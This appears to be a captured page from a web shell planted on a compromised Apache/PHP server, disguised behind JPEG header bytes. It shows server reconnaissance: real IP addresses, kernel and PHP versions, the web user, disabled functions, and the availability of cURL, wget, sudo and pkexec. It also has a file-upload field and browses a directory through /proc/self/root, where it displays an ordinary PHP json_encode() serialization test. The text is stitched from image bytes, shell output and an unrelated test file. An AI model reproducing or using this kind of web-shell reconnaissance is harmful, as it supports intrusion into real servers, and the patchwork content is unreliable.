????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 216.73.216.60 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/json/tests/ |
Upload File : |
--TEST-- json_encode() Serialization tests --SKIPIF-- <?php if (!extension_loaded("json")) print "skip"; ?> --FILE-- <?php class NonSerializingTest { public $data; public function __construct($data) { $this->data = $data; } } class SerializingTest extends NonSerializingTest implements JsonSerializable { public function jsonSerialize() { return $this->data; } } class ValueSerializingTest extends SerializingTest { public function jsonSerialize() { return array_values(is_array($this->data) ? $this->data : get_object_vars($this->data)); } } class SelfSerializingTest extends SerializingTest { public function jsonSerialize() { return $this; } } $adata = array( 'str' => 'foo', 'int' => 1, 'float' => 2.3, 'bool' => false, 'nil' => null, 'arr' => array(1,2,3), 'obj' => new StdClass, ); $ndata = array_values($adata); $odata = (object)$adata; foreach(array('NonSerializingTest','SerializingTest','ValueSerializingTest','SelfSerializingTest') as $class) { echo "==$class==\n"; echo json_encode(new $class($adata)), "\n"; echo json_encode(new $class($ndata)), "\n"; echo json_encode(new $class($odata)), "\n"; } --EXPECT-- ==NonSerializingTest== {"data":{"str":"foo","int":1,"float":2.3,"bool":false,"nil":null,"arr":[1,2,3],"obj":{}}} {"data":["foo",1,2.3,false,null,[1,2,3],{}]} {"data":{"str":"foo","int":1,"float":2.3,"bool":false,"nil":null,"arr":[1,2,3],"obj":{}}} ==SerializingTest== {"str":"foo","int":1,"float":2.3,"bool":false,"nil":null,"arr":[1,2,3],"obj":{}} ["foo",1,2.3,false,null,[1,2,3],{}] {"str":"foo","int":1,"float":2.3,"bool":false,"nil":null,"arr":[1,2,3],"obj":{}} ==ValueSerializingTest== ["foo",1,2.3,false,null,[1,2,3],{}] ["foo",1,2.3,false,null,[1,2,3],{}] ["foo",1,2.3,false,null,[1,2,3],{}] ==SelfSerializingTest== {"data":{"str":"foo","int":1,"float":2.3,"bool":false,"nil":null,"arr":[1,2,3],"obj":{}}} {"data":["foo",1,2.3,false,null,[1,2,3],{}]} {"data":{"str":"foo","int":1,"float":2.3,"bool":false,"nil":null,"arr":[1,2,3],"obj":{}}}